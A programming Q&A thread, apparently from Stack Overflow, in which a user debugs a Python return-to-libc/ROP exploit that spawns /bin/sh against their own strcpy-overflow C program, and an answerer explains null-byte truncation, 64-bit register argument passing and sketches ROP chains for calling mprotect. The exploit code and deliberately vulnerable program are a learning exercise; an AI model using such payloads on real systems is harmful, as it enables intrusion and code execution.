3

I am trying to bypass DEP in x86_64 (64 bit - ASLR OFF). I have my own vulnerable code and I have also written an exploit code with a basic ROP to jump into system() with parameter "/bin/sh", but it is not working I don't know why.

Vulnerable C code:

#include <stdio.h>
#include <string.h>

void main(int argc, char **argv)
{
    char buff[100];
    strcpy(buff, argv[1]);
    printf("%s\n", buff);
}

Exploit Code for the above C code:

from struct import pack

# mprotect = 0x7ffff7b0bd90
binsh = 0x7ffff7b97937    # find &system, +999999999999999, "/bin/sh"
system_addr = 0x7ffff7a5b520
pop_rdi_ret = 0x00000000004005cb


payload = ""
payload += "\x90"*120
payload += pack("<Q", pop_rdi_ret)
payload += pack("<Q", binsh)
payload += pack("<Q", system_addr)

print payload

Below is the output from exploit code:

[feddy@localhost dep_test]$ ./sample `python exploit.py`
bash: warning: command substitution: ignored null byte in input
�������������������������������������������������������������������������������������������������������������������������@7y���
Segmentation fault (core dumped)

Output from gdb coredump:

Reading symbols from /home/feddy/dep_test/sample...(no debugging symbols found)...done.
[New LWP 11468]
Core was generated by `./sample ����������������������������������������������������������������������'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x000000000040056d in main ()
Missing separate debuginfos, use: dnf debuginfo-install glibc-2.27-30.fc28.x86_64
gef➤  

Is it because of null bytes in the address (in the stack)?

And, please can anyone help me little to understand the concept of ROP stack frame in 64 bit, I mean 32 bit ROP stack frame is simple to understand as compared to 64 bit and available content on the internet about the 64 bit ROP didn't help me.

Because of that, I am also confused about creating stack frame via ROP for mprotect call for my another exploit code.

Note:

Please, if anyone finds something bad in the question, please let me know instead of voting it down because it is hard to get a reputation and easy to lose.

bsdboy
  • 51
  • 1
  • 4

1 Answers1

2

There are a few points to note:

1. The strcpy function stops copying stuff into the destination buffer as soon as it encounters a NULL byte. A NULL byte is 0x00 or \x00. In 64-bit machines, the length of an address is 8 bytes. Let us consider pop_rdi_ret = 0x00000000004005cb. This has NULL bytes. So, as soon as strcpy encounters the first NULL byte(the NULL byte next to 0x40), it stops copying. So, the exploit payload is not being injected properly because of NULL bytes.


2. I hope you have compiled your vulnerable program without StackGaurd or the Stack Cookie protection. If that is there, it will kill the program when it detects a stack smash. You can use the -fno-stack-protector compiler flag to compile without StackGaurd.

3. I don't know why you are injecting NOPs into the buffer. There is no harm in doing it, but there is no use either because W XOR X is enabled.

And, please can anyone help me little to understand the concept of ROP stack frame in 64 bit, I mean 32 bit ROP stack frame is simple to understand as compared to 64 bit and available content on the internet about the 64 bit ROP didn't help me.

When it comes to ROP, there is no difference between 32-bit ROP and 64-bit ROP. That is because in both cases, the ROP Gadgets are chained.

If you are talking about ReturnToLibc, there are differences. ReturnToLibc is the fancy name given what you are doing in the above exploit. You are returning to a libc function to get god access.

The root cause of this difference is the way functions are called. The function calling mechanism in 32-bit and 64-bit processes are different. In 32-bit, arguments are passed to the callee function using the stack. But in 64-bit, the first 6 arguments are passed using registers and if there are any more arguments, stack is used.

Because we are calling functions here, the exploits for 32-bit and 64-bit will be different. As you righty mentioned, ReturnToLibc exploit for 64-bit is more or less ROP because you will have to find gadgets which will load stuff into rdi, rsi, rdx etc., . If you don't find the right gadgets, you will have to chain them.

Because of that, I am also confused about creating stack frame via ROP for mprotect call for my another exploit code.

Let me help you out with this.

Take a look at the manpage of mprotect.

MPROTECT(2)                         Linux Programmer's Manual                              MPROTECT(2)

NAME
        mprotect - set protection on a region of memory

SYNOPSIS
       #include <sys/mman.h>

       int mprotect(void *addr, size_t len, int prot);

For 32-bit:

Let us first create the fake stackframe for 32-bit.

Suppose you want to make the stack address space executable.

Let addr = 0xf1f2f3f4, size = 1000, prot = PROT_EXEC | PROT_WRITE | PROT_READ .

The values of PROT_READ = 1, PROT_WRITE = 2, PROT_EXEC = 4. Referring to this sourcefile.

So, PROT_READ | PROT_WRITE | PROT_EXEC = 7.

The strategy is this:

a. Overwrite the vulnerable function's returnaddress with mprotect's address. When the ret instruction is executed, control is transfered to mprotect function and stack is popped. For mprotect, the stack before ret instruction is executed should look like this:

<mprotect's Address>          // This is vulnerable function's return address
<mprotect's Return Address>   // This can be exit libc function
<prot = 0x00000007> 
<len = 1000>
<addr = 0xf1f2f3f4> 

So, there you go. you have the stackframe you wanted.

For 64-bit:

To exploit a 64-bit vulnerable function, we have to pass arguments through registers. This is not as easy as it was for the 32-bit exploit. This is what we need.

rdi = Stack's address = 0x00007ffff7123456 // just an example
rsi = 1000
rdx = 0x7

Now, we have to find gadgets which directly does this or have to find gadgets and chain them. This is where it gets a bit hard. Writing ROP chains by hand is time taking. You can try out ROPGadget or any other ROP tool out there.

Assuming you get the proper mov gadgets, I will continue my answer.

0x400123: mov rdi, 0x00007ffff7123456; ret
0x401234: mov rsi, 1000; ret
0x412345: mov rdx, 0x7; ret

The plan is, these 3 should get executed in a row and then mprotect should get executed. So, the stack should look something like this before the vulnerable function's ret is executed.

<0x400123>                  // This is originally vulnerable function's return address
<0x401234>
<0x412345>
<mprotect's address> 
<mprotect's return address> 

In reality, the stack might be way more complex than this. This is just an example.

I hope you see the difference between the stack of a 32-bit exploit and a 64-bit exploit.

If anything is not clear, leave a comment below.

adwait1-g
  • 51
  • 5